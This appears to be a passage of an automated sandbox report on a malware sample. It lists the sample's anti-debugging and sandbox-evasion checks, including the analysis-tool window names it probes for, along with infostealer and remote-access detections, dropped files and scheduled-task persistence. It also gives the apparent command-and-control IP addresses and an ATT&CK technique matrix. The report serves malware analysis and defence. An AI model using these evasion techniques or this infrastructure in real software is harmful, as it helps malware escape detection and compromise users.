                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeAPI call chain: ExitProcess graph end nodegraph_11-6672
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeAPI call chain: ExitProcess graph end nodegraph_15-61387
                  Source: C:\Users\user\Desktop\file.exeSystem information queried: ModuleInformationJump to behavior
                  Source: C:\Users\user\Desktop\file.exeProcess information queried: ProcessInformationJump to behavior

                  Anti Debugging

                  barindex
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeDebugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleepgraph_15-61768
                  Source: C:\Users\user\Desktop\file.exeThread information set: HideFromDebuggerJump to behavior
                  Source: C:\Users\user\Desktop\file.exeOpen window title or class name: regmonclass
                  Source: C:\Users\user\Desktop\file.exeOpen window title or class name: gbdyllo
                  Source: C:\Users\user\Desktop\file.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
                  Source: C:\Users\user\Desktop\file.exeOpen window title or class name: procmon_window_class
                  Source: C:\Users\user\Desktop\file.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
                  Source: C:\Users\user\Desktop\file.exeOpen window title or class name: ollydbg
                  Source: C:\Users\user\Desktop\file.exeOpen window title or class name: filemonclass
                  Source: C:\Users\user\Desktop\file.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
                  Source: C:\Users\user\Desktop\file.exeFile opened: NTICE
                  Source: C:\Users\user\Desktop\file.exeFile opened: SICE
                  Source: C:\Users\user\Desktop\file.exeFile opened: SIWVID
                  Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D980F0 IsDebuggerPresent,15_2_02D980F0
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D9E6AE RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,15_2_02D9E6AE
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004502C0 GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,12_2_004502C0
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D85E4F RtlInitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetTickCount,GetVersionExA,_memset,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,_memset,_memset,_memset,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_malloc,_malloc,_malloc,QueryPerformanceCounter,Sleep,_malloc,_malloc,_memset,_memset,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,15_2_02D85E4F
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D980DA SetUnhandledExceptionFilter,UnhandledExceptionFilter,15_2_02D980DA
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeMemory allocated: page read and write | page guardJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00478024 ShellExecuteEx,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,12_2_00478024
                  Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784Jump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6784 -s 584Jump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0042E09C AllocateAndInitializeSid,GetVersion,GetModuleHandleA,GetProcAddress,CheckTokenMembership,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,EqualSid,CloseHandle,FreeSid,12_2_0042E09C
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D8E850 cpuid 15_2_02D8E850
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: GetLocaleInfoA,11_2_0040520C
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: GetLocaleInfoA,11_2_00405258
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: GetLocaleInfoA,12_2_00408568
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: GetLocaleInfoA,12_2_004085B4
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C: VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C: VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C: VolumeInformationJump to behavior
                  Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeQueries volume information: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00458418 GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,12_2_00458418
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_004026C4 GetSystemTime,11_2_004026C4
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0045559C GetUserNameA,12_2_0045559C
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_00405CF4 GetVersionExA,11_2_00405CF4

                  Lowering of HIPS / PFW / Operating System Security Settings

                  barindex
                  Source: C:\Windows\System32\svchost.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} STATEJump to behavior
                  Source: Amcache.hve.19.drBinary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
                  Source: Amcache.hve.19.drBinary or memory string: msmpeng.exe
                  Source: Amcache.hve.19.drBinary or memory string: c:\program files\windows defender\msmpeng.exe
                  Source: svchost.exe, 00000004.00000002.2536197928.000001A9C5F02000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Files%\Windows Defender\MsMpeng.exe
                  Source: Amcache.hve.19.drBinary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
                  Source: svchost.exe, 00000004.00000002.2536197928.000001A9C5F02000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
                  Source: Amcache.hve.19.drBinary or memory string: MsMpEng.exe
                  Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA &apos;AntiVirusProduct&apos; OR TargetInstance ISA &apos;FirewallProduct&apos; OR TargetInstance ISA &apos;AntiSpywareProduct&apos;
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

                  Stealing of Sensitive Information

                  barindex
                  Source: Yara matchFile source: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000F.00000002.2537335881.0000000002CD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: videominimizer2.exe PID: 7852, type: MEMORYSTR

                  Remote Access Functionality

                  barindex
                  Source: Yara matchFile source: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000F.00000002.2537335881.0000000002CD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: videominimizer2.exe PID: 7852, type: MEMORYSTR
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_609660FA sqlite3_finalize,sqlite3_free,sqlite3_value_numeric_type,sqlite3_value_numeric_type,sqlite3_value_text,sqlite3_value_int,memcmp,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_strnicmp,sqlite3_mprintf,sqlite3_mprintf,sqlite3_malloc,sqlite3_free,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_bind_value,15_2_609660FA
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6090C1D6 sqlite3_clear_bindings,sqlite3_mutex_enter,sqlite3_mutex_leave,15_2_6090C1D6
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60963143 sqlite3_stricmp,sqlite3_bind_int64,sqlite3_mutex_leave,15_2_60963143
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096A2BD sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,15_2_6096A2BD
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096923E sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_malloc,sqlite3_malloc,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_realloc,sqlite3_realloc,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_free,15_2_6096923E
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096A38C sqlite3_bind_int,sqlite3_column_int,sqlite3_step,sqlite3_reset,15_2_6096A38C
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096748C sqlite3_malloc,sqlite3_bind_int,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_reset,sqlite3_bind_int,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_malloc,sqlite3_bind_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_reset,memcmp,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_realloc,sqlite3_column_int,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_bind_int,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,15_2_6096748C
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_609254B1 sqlite3_bind_zeroblob,sqlite3_mutex_leave,15_2_609254B1
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094B407 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,15_2_6094B407
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6090F435 sqlite3_bind_parameter_index,15_2_6090F435
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_609255D4 sqlite3_mutex_leave,sqlite3_bind_text16,15_2_609255D4
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_609255FF sqlite3_bind_text,15_2_609255FF
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096A5EE sqlite3_value_text,sqlite3_value_bytes,sqlite3_strnicmp,sqlite3_strnicmp,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_malloc,sqlite3_column_int,sqlite3_column_int64,sqlite3_column_text,sqlite3_column_bytes,sqlite3_finalize,sqlite3_step,sqlite3_free,sqlite3_finalize,sqlite3_strnicmp,sqlite3_bind_int,sqlite3_column_int,sqlite3_step,sqlite3_reset,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_column_int64,sqlite3_column_int,sqlite3_column_text,sqlite3_column_bytes,sqlite3_step,sqlite3_finalize,sqlite3_strnicmp,sqlite3_strnicmp,sqlite3_bind_int,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_value_int,sqlite3_malloc,sqlite3_bind_null,sqlite3_step,sqlite3_reset,sqlite3_value_int,sqlite3_value_text,sqlite3_value_bytes,sqlite3_free,15_2_6096A5EE
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094B54C sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,memmove,15_2_6094B54C
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60925686 sqlite3_bind_int64,sqlite3_mutex_leave,15_2_60925686
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094A6C5 sqlite3_bind_int64,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_malloc,sqlite3_reset,sqlite3_free,15_2_6094A6C5
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_609256E5 sqlite3_bind_int,sqlite3_bind_int64,15_2_609256E5
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094B6ED sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,15_2_6094B6ED
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6092562A sqlite3_bind_blob,15_2_6092562A
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60925655 sqlite3_bind_null,sqlite3_mutex_leave,15_2_60925655
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094C64A sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,15_2_6094C64A
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_609687A7 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_column_int64,sqlite3_reset,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,15_2_609687A7
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095F7F7 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,15_2_6095F7F7
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6092570B sqlite3_bind_double,sqlite3_mutex_leave,15_2_6092570B
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095F772 sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,15_2_6095F772
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60925778 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_blob,15_2_60925778
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6090577D sqlite3_bind_parameter_name,15_2_6090577D
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094B764 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,15_2_6094B764
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6090576B sqlite3_bind_parameter_count,15_2_6090576B
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094A894 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,15_2_6094A894
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095F883 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,15_2_6095F883
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094C8C2 sqlite3_value_int,sqlite3_value_int,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_null,sqlite3_bind_null,sqlite3_step,sqlite3_reset,15_2_6094C8C2
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096281E sqlite3_mprintf,sqlite3_vtab_config,sqlite3_malloc,sqlite3_mprintf,sqlite3_mprintf,sqlite3_errmsg,sqlite3_mprintf,sqlite3_free,sqlite3_mprintf,sqlite3_exec,sqlite3_free,sqlite3_prepare_v2,sqlite3_bind_text,sqlite3_step,sqlite3_column_int64,sqlite3_finalize,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_errmsg,sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_mprintf,sqlite3_free,sqlite3_declare_vtab,sqlite3_errmsg,sqlite3_mprintf,sqlite3_free,15_2_6096281E
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096583A memcmp,sqlite3_realloc,qsort,sqlite3_malloc,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_step,sqlite3_reset,15_2_6096583A
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095F9AD sqlite3_bind_int,sqlite3_step,sqlite3_column_type,sqlite3_reset,15_2_6095F9AD
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094A92B sqlite3_bind_int64,sqlite3_bind_null,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,15_2_6094A92B
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6090EAE5 sqlite3_transfer_bindings,15_2_6090EAE5
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095FB98 sqlite3_value_int,sqlite3_bind_int,sqlite3_bind_value,sqlite3_step,sqlite3_reset,15_2_6095FB98
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095ECA6 sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_bind_value,15_2_6095ECA6
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095FCCE sqlite3_malloc,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,15_2_6095FCCE
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095FDAE sqlite3_malloc,sqlite3_bind_int,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_bind_int,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,sqlite3_free,15_2_6095FDAE
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60966DF1 sqlite3_value_text,sqlite3_mprintf,sqlite3_free,strcmp,sqlite3_free,sqlite3_malloc,sqlite3_bind_int64,sqlite3_step,sqlite3_column_type,sqlite3_reset,sqlite3_column_blob,sqlite3_reset,sqlite3_malloc,sqlite3_free,sqlite3_reset,sqlite3_result_error_code,sqlite3_result_blob,15_2_60966DF1
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60969D75 sqlite3_bind_int,sqlite3_step,sqlite3_column_int,sqlite3_reset,15_2_60969D75
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095FFB2 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_result_error_code,15_2_6095FFB2
                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
                  Windows Management Instrumentation
                  1
                  DLL Side-Loading
                  1
                  Exploitation for Privilege Escalation
                  11
                  Disable or Modify Tools
                  1
                  Input Capture
                  1
                  System Time Discovery
                  Remote Services1
                  Archive Collected Data
                  12
                  Ingress Tool Transfer
                  Exfiltration Over Other Network Medium1
                  System Shutdown/Reboot
                  CredentialsDomainsDefault Accounts3
                  Native API
                  5
                  Windows Service
                  1
                  DLL Side-Loading
                  1
                  Deobfuscate/Decode Files or Information
                  LSASS Memory1
                  Account Discovery
                  Remote Desktop Protocol1
                  Input Capture
                  21
                  Encrypted Channel
                  Exfiltration Over BluetoothNetwork Denial of Service
                  Email AddressesDNS ServerDomain Accounts1
                  Scheduled Task/Job
                  1
                  Scheduled Task/Job
                  1
                  Access Token Manipulation
                  3
                  Obfuscated Files or Information
                  Security Account Manager2
                  File and Directory Discovery
                  SMB/Windows Admin SharesData from Network Shared Drive1
                  Non-Standard Port
                  Automated ExfiltrationData Encrypted for Impact
                  Employee NamesVirtual Private ServerLocal Accounts2
                  Service Execution
                  1
                  Bootkit
                  5
                  Windows Service
                  22
                  Software Packing
                  NTDS247
                  System Information Discovery
                  Distributed Component Object ModelInput Capture1
                  Non-Application Layer Protocol
                  Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script12
                  Process Injection
                  1
                  Timestomp
                  LSA Secrets991
                  Security Software Discovery
                  SSHKeylogging22
                  Application Layer Protocol
                  Scheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
                  Scheduled Task/Job
                  1
                  DLL Side-Loading
                  Cached Domain Credentials1
                  Process Discovery
                  VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                  DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items11
                  Masquerading
                  DCSync471
                  Virtualization/Sandbox Evasion
                  Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                  Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job471
                  Virtualization/Sandbox Evasion
                  Proc Filesystem11
                  Application Window Discovery
                  Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                  Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                  Access Token Manipulation
                  /etc/passwd and /etc/shadow3
                  System Owner/User Discovery
                  Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                  IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron12
                  Process Injection
                  Network Sniffing1
                  System Network Configuration Discovery
                  Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                  Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd1
                  Bootkit
                  Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 signatures2 2 Behavior Graph ID: 1573851 Sample: file.exe Startdate: 12/12/2024 Architecture: WINDOWS Score: 100 78 Antivirus detection for URL or domain 2->78 80 Antivirus detection for dropped file 2->80 82 Antivirus / Scanner detection for submitted sample 2->82 84 10 other signatures 2->84 9 file.exe 29 2->9         started        14 svchost.exe 2->14         started        16 svchost.exe 2 2->16         started        18 5 other processes 2->18 process3 dnsIp4 74 80.82.65.70, 49819, 49851, 49858 INT-NETWORKSC Netherlands 9->74 62 C:\Users\user\AppData\...\sQurASc1qLwRL.exe, PE32 9->62 dropped 64 C:\Users\user\AppData\...\xIphwNW7O.exe, PE32 9->64 dropped 66 C:\Users\user\AppData\Local\...\Y-Cleaner.exe, PE32 9->66 dropped 68 5 other malicious files 9->68 dropped 88 Tries to detect sandboxes and other dynamic analysis tools (window names) 9->88 90 Tries to evade debugger and weak emulator (self modifying code) 9->90 92 Tries to detect virtualization through RDTSC time measurements 9->92 98 3 other signatures 9->98 20 sQurASc1qLwRL.exe 2 9->20         started        23 xIphwNW7O.exe 1 9->23         started        26 WerFault.exe 19 16 9->26         started        94 Changes security center settings (notifications, updates, antivirus, firewall) 14->94 28 MpCmdRun.exe 2 14->28         started        96 Query firmware table information (likely to detect VMs) 16->96 30 WerFault.exe 2 18->30         started        file5 signatures6 process7 file8 54 C:\Users\user\AppData\...\sQurASc1qLwRL.tmp, PE32 20->54 dropped 32 sQurASc1qLwRL.tmp 18 25 20->32         started        86 Multi AV Scanner detection for dropped file 23->86 56 C:\ProgramData\Microsoft\...\Report.wer, Unicode 26->56 dropped 36 conhost.exe 28->36         started        signatures9 process10 file11 46 C:\Users\user\AppData\...\videominimizer2.exe, PE32 32->46 dropped 48 C:\Users\user\...\videominimizer2.dll (copy), PE32 32->48 dropped 50 C:\Users\user\AppData\...\unins000.exe (copy), PE32 32->50 dropped 52 17 other files (9 malicious) 32->52 dropped 76 Uses schtasks.exe or at.exe to add and modify task schedules 32->76 38 videominimizer2.exe 1 19 32->38         started        42 schtasks.exe 1 32->42         started        signatures12 process13 dnsIp14 70 31.214.157.206, 2024, 49991 RACKPLACEDE Germany 38->70 72 188.119.66.185, 443, 49987, 49990 FLYNETRU Russian Federation 38->72 58 C:\ProgramDataarnPackage\sqlite3.dll, PE32 38->58 dropped 60 C:\ProgramDataarnPackagearnPackage.exe, PE32 38->60 dropped 44 conhost.exe 42->44         started        file15 process16

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand
